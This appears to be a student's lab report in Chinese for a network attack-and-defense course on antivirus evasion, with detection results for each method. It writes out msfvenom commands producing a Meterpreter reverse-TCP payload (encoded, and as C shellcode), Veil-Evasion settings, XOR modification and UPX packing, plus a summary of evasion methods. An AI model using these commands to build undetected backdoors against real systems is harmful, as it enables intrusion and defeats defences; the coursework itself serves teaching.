20155226《网络攻防》 Exp3 免杀原理与实践

实验过程

1. msfvenom直接生成meterpreter可执行文件

  • 直接将上周做实验时用msf生成的后门文件放在virscan.org中进行扫描,扫描结果如下:

  • 从上图可以看出,有19/39的杀毒软件发现有病毒,说明该后门程序很容易被发现

2. Msfvenom使用编码器生成meterpreter可执行文件

(1)一次编码:

  • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.147.140 LPORT=5226 -f exe > 5226_backjar.jar

    命令生成编码过的可执行文件

  • 再次使用virscan.org检测

  • 我们发现有5/39的杀毒软件发现有病毒,变化比较大,只有少数能发现了。

3. Veil-Evasion免杀平台

  • Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil
  • 在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:

set LHOST 192.168.147.140 //设置反弹连接IP

set LPORT 5226 //设置反弹端口5226,默认为4444

generate //生成

thy5226 //程序名

  • 该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,

  • 放到网站上扫描一下:

4. C语言调用Shellcode

  • 在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.147.140 LPORT=5226 -f c

    * LHOST:攻击机IP
    * LPORT:反弹连接端口
    * c:生成一个c语言格式的Shellcode数组

  • 在windows中创建一个C文件:MAIN.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数,编译后转换为一个可执行文件MAIN.exe

  • 回流到kali

  • 放到网上检查一下:

  • 可以发现有7/39的杀毒软件发现有病毒,生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。

  • 修改代码以后(异或)

  • 检测

5. 加壳

upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:

upx #需要加壳的文件名 -o #加壳后的文件名

  • 发现还不如不加= =

实验总结

  1. 修改代码真不是强项OVO
  2. 杀毒软件不怎么靠谱,平时要悠着点来。

基础问题回答

  1. 杀软是如何检测出恶意代码的?
  • 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的特征码时就可以判断为恶意代码。

    为了防止自身特征码被检测,有些恶意代码使用了免杀加壳软件进行加壳,一些流行的加壳软件已经可以检查出来,如果被这样的加壳软件加壳就可能是恶意代码。

    判断该代码是否有恶意行为,若有就会判断代码是恶意代码。
  1. 免杀是做什么的?
  • 通过各种手段免除计算机对恶意代码查杀即为免杀。
  1. 免杀的基本方法有哪些?
  • 通过改变自身特征码

    加壳(可以选择比较新的、冷门的壳,流行的已经可以被大多数杀毒软件查杀)
  • 进行异或、逆序或者其他手段改变自身特征码。
  • 通过改变软件攻击的行为

    (2)在看似正常的应用中插入恶意代码,当程序运行时看似正常,可以逃过查杀。
  • 可以使用反弹端口技术,这样看上去就像是靶机在主动链接ip,大大减低被查杀的风险。
  • 使用隧道技术。

20155226《网络攻防》 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

  3. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  4. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  5. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  6. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  7. 20155330 《网络攻防》 Exp3 免杀原理与实践

    20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...

  8. 2015306 白皎 《网络攻防》Exp3 免杀原理与实践

    2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...

  9. 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践

    ### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...

随机推荐

  1. Maven学习(四)eclipse创建maven项目

    eclipse创建Maven web项目 1.创建新项目 选择File -> New ->Project 选择New Project窗口中选择 Maven -> Maven Proj ...

  2. Play framework 安装

    1.确定配置好了Java环境,在命令窗口输入java -version,得到版本号,则表示配好了Java环境 2.下载play文件进行安装http://www.playframework.org/,下 ...

  3. ionic之angular1.X缓存问题解决

    众所周知ionic的angular1.X解决缓存的问题有: 1.在app.js里面修改:默认是true,设置了缓存 .state('tab.msg-main', { url: '/msg-main', ...

  4. 加速JDBC的快捷方法

    JAVA 应用必须通过 JDBC 从数据库中取数,有时候我们会发现,数据库的负担一点也不重而且 SQL 很简单,但取数的速度仍然很慢.仔细测试会发现,性能瓶颈主要在 JDBC 上,比如 MySQL 的 ...

  5. Django开发笔记(一)

    Django开发笔记(一) 标签(空格分隔): Django Python 1. 创建并运行Django项目 创建开发环境 安装Django pip install django==version 执 ...

  6. jquery插件导出excel和pdf(解决中文乱码问题)

    参考文件:http://jackyrong.iteye.com/blog/2169683 https://my.oschina.net/aruan/blog/418980 https://segmen ...

  7. 找回master库中被删除的系统表

    接手的某个数据库实例中,master数据库中的所有系统表都被误删除掉了. 最直接影响就是一旦涉及到要查询这些系统表,就会出现错误. 例如,右键点击某个数据,查看属性时会出现如下图所示错误: 那么怎么找 ...

  8. windows10操作系统中cmd窗口下telnet功能失效的解决方案

    查找windows自带功能,在window10中相当方便.打开windows10的设置面板,在搜索栏中搜索“windows功能”,弹出以下界面: 根据弹出的提示“启动或停用windows功能”即可弹出 ...

  9. 远程桌面web连接

      我们可以利用web浏览器搭配远程桌面技术来连接远程计算机,这个功能被称为远程桌面web连接(Remote desktop web connection),要享有此功能,请先在网络上一台window ...

  10. 【转】Java学习---深入理解线程池

    [原文]https://www.toutiao.com/i6566022142666736131/ 我们使用线程的时候就去创建一个线程,这样实现起来非常简便,但是就会有一个问题: 如果并发的线程数量很 ...